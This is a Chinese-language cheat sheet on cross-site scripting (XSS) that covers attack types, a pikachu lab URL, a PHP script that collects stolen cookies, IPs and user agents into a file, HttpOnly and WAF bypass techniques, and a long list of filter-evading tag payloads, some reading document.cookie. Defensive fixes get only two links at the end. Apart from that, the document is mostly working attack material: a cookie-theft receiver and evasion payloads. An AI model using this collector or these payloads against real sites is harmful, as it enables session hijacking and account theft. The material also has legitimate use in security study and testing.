XSS
XSS
原理
- 原理?
Js是浏览器执行的前端语言,用户在存在xss漏洞的站点url后者能输入数据的部分插入js语言,服务器接收到此数据,认为是js代码,从而返回的时候执行。因此,攻击者可利用这个漏洞对站点插入任意js代码进行窃取用户的信息。 危害?
● 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
● 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
● 3、盗窃企业重要的具有商业价值的资料
● 4、非法转账
● 5、强制发送电子邮件
● 6、网站挂马
● 7、控制受害者机器向其它网站发起攻击(重定向语句)
● 8、窃取cookie的sessionid,冒充登录。
分类
反射型:
http://pikachu:9002/vul/xss/xss_reflected_get.php?message=<script>alert(1);</script>&submit=submit
- 存储型(长久型,危害最大)
之后每次刷新都会弹窗1
- DOM型
一般为普通用户提交信息,管理员或者别的用户去查看。
管理员去查看已经中招。
手法
xss平台:https://xss8.cc/bdstatic.com/
将可执行代码插入到可能存在xss漏洞的地方去
其基本原理是,执行脚本,将数据读取。(以下为php语言)
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('cookie.txt', 'a');
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp);
header("Location: http://www.baidu.com");
?>
Http Only
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。
绕过 httponly:
浏览器未保存帐号密码:需要 xss 产生登录地址,利用表单劫持
浏览器保存帐号密码:浏览器读取帐号密
WAF绕过
标签语法替换
特殊符号干扰
提交方式更改
垃圾数据溢出
加密解密算法
结合其他漏洞绕过
绕过方法
可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤)
绕过方法有很多比如:
大小写绕过
javascript伪协议
没有分号
Flash
HTML5 新标签
Fuzz进行测试
双层标签绕过
- audio标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
- video标签
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
- div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
- math标签
<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>
- button标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
- keygen标签
<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>
- object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
解码:<script>alert(1)</script>
- iframe标签
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
修复
- 开启 httponly,输入过滤,输出过滤等
- PHP:http://www.zuimoge.com/212.html
- JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html